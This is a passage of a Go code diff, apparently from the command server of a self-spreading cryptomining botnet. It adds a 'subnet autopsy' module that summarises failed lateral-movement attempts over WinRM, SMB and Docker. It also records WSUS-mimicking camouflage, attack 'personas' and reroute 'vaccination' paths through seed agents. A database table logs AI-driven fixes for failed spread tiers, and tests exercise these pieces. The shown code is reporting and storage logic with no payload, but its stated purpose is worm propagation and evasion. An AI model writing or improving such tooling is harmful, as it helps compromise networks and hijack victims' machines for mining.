connectTestDashboard(t *testing.T, hub *WSHub) *websocket.Conn { + t.Helper() + resetWSAuthUsers(t, testAuthUser, testAuthPass) + srv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS)) + t.Cleanup(srv.Close) + wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass) + conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil) + if err != nil { + t.Fatalf("dial dashboard: %v", err) + } + t.Cleanup(func() { _ = conn.Close() }) + var init Message + if err := conn.ReadJSON(&init); err != nil { + t.Fatalf("read init: %v", err) + } + if init.Type != "init" { + t.Fatalf("expected init, got %q", init.Type) + } + return conn +} + func dialAgentWS(t *testing.T, hub *WSHub) (*websocket.Conn, string) { t.Helper() srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS)) diff --git a/server/internal/atlas/subnet_autopsy.go b/server/internal/atlas/subnet_autopsy.go new file mode 100644 index 0000000..f3893d9 --- /dev/null +++ b/server/internal/atlas/subnet_autopsy.go @@ -0,0 +1,149 @@ +package atlas + +import ( + "fmt" + "strings" + "time" + + "crypto-miner-server/internal/spreadrouter" +) + +const SubnetAutopsyLOTLAttemptLimit = 5 +const SubnetAutopsyGossipWhisperLimit = 8 + +// LOTLAttemptSnapshot is one spread/mining tier attempt in an autopsy packet. +type LOTLAttemptSnapshot struct { + AgentID string `json:"agent_id,omitempty"` + AgentName string `json:"agent_name,omitempty"` + Tier string `json:"tier"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + DurationMs int64 `json:"duration_ms,omitempty"` + Phase string `json:"phase,omitempty"` +} + +// WSUSMimicSnapshot records WSUS cache-peer staging camouflage context. +type WSUSMimicSnapshot struct { + FormatMimicEnabled bool `json:"format_mimic_enabled"` + CachePeerLane string `json:"cache_peer_lane"` + RecentJoinLane string `json:"recent_join_lane,omitempty"` +} + +// ErasureFallbackSnapshot reports whether RS lane fallback is available. +type ErasureFallbackSnapshot struct { + ErasureLanesEnabled bool `json:"erasure_lanes_enabled"` + AvailableAsFallback bool `json:"available_as_fallback"` +} + +// SubnetAutopsyPacket is the full immune-response autopsy for a paused /24. +type SubnetAutopsyPacket struct { + Prefix string `json:"prefix"` + TriggeredAt time.Time `json:"triggered_at"` + FailCount int `json:"fail_count"` + PausedUntil *time.Time `json:"paused_until,omitempty"` + LOTLAttempts []LOTLAttemptSnapshot `json:"lotl_attempts"` + WSUSMimic WSUSMimicSnapshot `json:"wsus_mimic"` + Persona string `json:"persona"` + ErasureFallback ErasureFallbackSnapshot `json:"erasure_fallback"` + GossipWhispers []GossipHint `json:"gossip_whispers"` + FailureAtlas string `json:"failure_atlas,omitempty"` + CauseOfDeath string `json:"cause_of_death"` + VaccinationLane *spreadrouter.SpreadRouteHint `json:"vaccination_lane,omitempty"` +} + +// BuildCauseOfDeath composes a one-page immune summary from packet fields. +func BuildCauseOfDeath(pkt SubnetAutopsyPacket) string { + var b strings.Builder + fmt.Fprintf(&b, "Subnet %s immune pause: %d spread failures triggered 24h quarantine.", pkt.Prefix, pkt.FailCount) + if pkt.PausedUntil != nil { + fmt.Fprintf(&b, " Resumes %s UTC.", pkt.PausedUntil.UTC().Format(time.RFC3339)) + } + b.WriteString("\n") + + failed := failedSpreadAttempts(pkt.LOTLAttempts) + if len(failed) > 0 { + b.WriteString("Failed LOTL tiers: ") + parts := make([]string, 0, len(failed)) + for _, a := range failed { + line := a.Tier + if a.Error != "" { + line += " (" + a.Error + ")" + } + parts = append(parts, line) + } + b.WriteString(strings.Join(parts, ", ")) + b.WriteString(".\n") + } else { + b.WriteString("No recent LOTL spread attempts on this /24 — failures came from cred-graph edges.\n") + } + + if pkt.FailureAtlas != "" && pkt.FailureAtlas != "no fleet failure atlas samples for this fingerprint" { + fmt.Fprintf(&b, "Failure atlas: %s.\n", pkt.FailureAtlas) + } + + if len(pkt.GossipWhispers) > 0 { + b.WriteString("Atlas gossip whispers: ") + parts := make([]string, 0, len(pkt.GossipWhispers)) + for _, h := range pkt.GossipWhispers { + parts = append(parts, h.Tier+"@"+h.Condition) + } + b.WriteString(strings.Join(parts, ", ")) + b.WriteString(".\n") + } + + fmt.Fprintf(&b, "Persona=%s; WSUS mimic=%v; erasure fallback=%v.", + pkt.Persona, pkt.WSUSMimic.FormatMimicEnabled, pkt.ErasureFallback.AvailableAsFallback) + + if pkt.VaccinationLane != nil && pkt.VaccinationLane.SeedAgentID != "" { + fmt.Fprintf(&b, "\nVaccination: route via %s (%s lane", + displayAgent(pkt.VaccinationLane.SeedAgentName, pkt.VaccinationLane.SeedAgentID), + pkt.VaccinationLane.JoinLane) + if pkt.VaccinationLane.ErasureLanesEnabled { + b.WriteString(", RS lanes on") + } + b.WriteString(").") + } else { + b.WriteString("\nVaccination: no BGP clearance route — widen Path Tracer or seed from adjacent /24.") + } + return strings.TrimSpace(b.String()) +} + +func failedSpreadAttempts(attempts []LOTLAttemptSnapshot) []LOTLAttemptSnapshot { + var out []LOTLAttemptSnapshot + for _, a := range attempts { + if a.OK { + continue + } + if a.Phase != "" && a.Phase != "spread" && a.Phase != "deploy" { + continue + } + out = append(out, a) + } + return out +} + +func displayAgent(name, id string) string { + if strings.TrimSpace(name) != "" { + return name + } + if len(id) > 8 { + return id[:8] + } + return id +} + +// TrimLOTLAttempts keeps the last n attempts in arrival order. +func TrimLOTLAttempts(attempts []LOTLAttemptSnapshot, n int) []LOTLAttemptSnapshot { + if n <= 0 || len(attempts) <= n { + return attempts + } + return attempts[len(attempts)-n:] +} + +// TrimGossipWhispers keeps the most recent n gossip hints. +func TrimGossipWhispers(hints []GossipHint, n int) []GossipHint { + if n <= 0 || len(hints) <= n { + return hints + } + return hints[len(hints)-n:] +} diff --git a/server/internal/atlas/subnet_autopsy_test.go b/server/internal/atlas/subnet_autopsy_test.go new file mode 100644 index 0000000..4c94b40 --- /dev/null +++ b/server/internal/atlas/subnet_autopsy_test.go @@ -0,0 +1,54 @@ +package atlas + +import ( + "strings" + "testing" + "time" + + "crypto-miner-server/internal/spreadrouter" +) + +func TestBuildCauseOfDeathIncludesFailuresAndVaccination(t *testing.T) { + until := time.Now().UTC().Add(24 * time.Hour) + pkt := SubnetAutopsyPacket{ + Prefix: "10.0.0", + FailCount: 5, + PausedUntil: &until, + LOTLAttempts: []LOTLAttemptSnapshot{ + {Tier: "winrm", OK: false, Error: "access denied", Phase: "spread"}, + {Tier: "smb", OK: true, Phase: "spread"}, + }, + Persona: "aggressive", + WSUSMimic: WSUSMimicSnapshot{FormatMimicEnabled: true, CachePeerLane: "wsus_cache_peer"}, + ErasureFallback: ErasureFallbackSnapshot{ErasureLanesEnabled: true, AvailableAsFallback: true}, + GossipWhispers: []GossipHint{{Tier: "docker", Condition: "defender_on", Reason: "lan gossip"}}, + FailureAtlas: "docker 5/5 failed (100%)", + VaccinationLane: &spreadrouter.SpreadRouteHint{ + TargetSubnet: "10.0.0", + SeedAgentID: "seed-1", + SeedAgentName: "Seed Hop", + JoinLane: "do_peer", + }, + } + cause := BuildCauseOfDeath(pkt) + if !strings.Contains(cause, "immune pause") { + t.Fatalf("cause=%q", cause) + } + if !strings.Contains(cause, "winrm") || !strings.Contains(cause, "docker 5/5") { + t.Fatalf("missing failure context: %q", cause) + } + if !strings.Contains(cause, "Seed Hop") || !strings.Contains(cause, "Vaccination") { + t.Fatalf("missing vaccination: %q", cause) + } +} + +func TestTrimLOTLAttemptsKeepsLastFive(t *testing.T) { + in := make([]LOTLAttemptSnapshot, 7) + for i := range in { + in[i] = LOTLAttemptSnapshot{Tier: string(rune('a' + i))} + } + out := TrimLOTLAttempts(in, SubnetAutopsyLOTLAttemptLimit) + if len(out) != 5 || out[0].Tier != "c" || out[4].Tier != "g" { + t.Fatalf("trim=%v", out) + } +} diff --git a/server/internal/db/strain_memory.go b/server/internal/db/strain_memory.go new file mode 100644 index 0000000..34c0047 --- /dev/null +++ b/server/internal/db/strain_memory.go @@ -0,0 +1,88 @@ +package db + +import ( + "database/sql" + "time" +) + +// StrainMemoryRecord is one AI surgical replay outcome for strain learning. +type StrainMemoryRecord struct { + ID int64 `json:"id"` + AgentID string `json:"agent_id"` + SessionID string `json:"session_id"` + FailedTier string `json:"failed_tier"` + Strain string `json:"strain"` + FixType string `json:"fix_type"` + FixArgs string `json:"fix_args"` + Outcome string `json:"outcome"` + Timestamp string `json:"ts"` +} + +func (d *Database) ensureStrainMemoryTable() error { + _, err := d.Exec(`CREATE TABLE IF NOT EXISTS strain_memory ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + agent_id TEXT NOT NULL, + session_id TEXT NOT NULL DEFAULT '', + failed_tier TEXT NOT NULL DEFAULT '', + strain TEXT NOT NULL DEFAULT '', + fix_type TEXT NOT NULL DEFAULT '', + fix_args TEXT NOT NULL DEFAULT '', + outcome TEXT NOT NULL DEFAULT '', + ts DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP + )`) + if err != nil { + return err + } + _, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_strain_memory_agent ON strain_memory(agent_id)`) + _, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_strain_memory_strain ON strain_memory(strain)`) + _, _ = d.Exec(`CREATE INDEX IF NOT EXISTS idx_strain_memory_ts ON strain_memory(ts)`) + return nil +} + +// InsertStrainMemory records a surgical replay fix and its dispatch outcome. +func (d *Database) InsertStrainMemory(agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome string) error { + _, err := d.Exec( + `INSERT INTO strain_memory (agent_id, session_id, failed_tier, strain, fix_type, fix_args, outcome) + VALUES (?, ?, ?, ?, ?, ?, ?)`, + agentID, sessionID, failedTier, strain, fixType, fixArgs, outcome, + ) + return err +} + +// ListStrainMemory returns recent strain memory rows, optionally filtered by agent. +func (d *Database) ListStrainMemory(agentID string, limit int) ([]StrainMemoryRecord, error) { + if limit <= 0 { + limit = 50 + } + var rows *sql.Rows + var err error + if agentID != "" { + rows, err = d.Query( + `SELECT id, agent_id, session_id, failed_tier, strain, fix_type, fix_args, outcome, ts + FROM strain_memory WHERE agent_id = ? ORDER BY id DESC LIMIT ?`, + agentID, limit, + ) + } else { + rows, err = d.Query( + `SELECT id, agent_id, session_id, failed_tier, strain, fix_type, fix_args, outcome, ts + FROM strain_memory ORDER BY id DESC LIMIT ?`, + limit, + ) + } + if err != nil { + return nil, err + } + defer rows.Close() + + var out []StrainMemoryRecord + for rows.Next() { + var rec StrainMemoryRecord + var ts time.Time + if err := rows.Scan(&rec.ID, &rec.AgentID, &rec.SessionID, &rec.FailedTier, &rec.Strain, &rec.FixType, &rec.FixArgs, &rec.Outcome, &ts); err != nil { + return nil, err + } + rec.Timestamp = ts.UTC().Format(time.RFC3339) + out = append(out, rec) + } + return out, rows.Err() +} diff --git a/server/internal/db/strain_memory_test.go b/server/internal/db/strain_memory_test.go new file mode 100644 index 0000000..623e98b --- /dev/null +++ b/server/internal/db/strain_memory_test.go @@ -0,0 +1,24 @@ +package db + +import ( + "testing" +) + +func TestStrainMemoryInsertList(t *testing.T) { + d, err := New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = d.Close() }) + + if err := d.InsertStrainMemory("a1", "sess-1", "docker", "#aabbcc", "skip_tier", "tier=docker", "reorder_tiers"); err != nil { + t.Fatal(err) + } + rows, err := d.ListStrainMemory("a1", 10) + if err != nil { + t.Fatal(err) + } + if len(rows) != 1 || rows[0].FailedTier != "docker" || rows[0].Strain != "#aabbcc" { + t.Fatalf("rows=%+v", rows) + } +}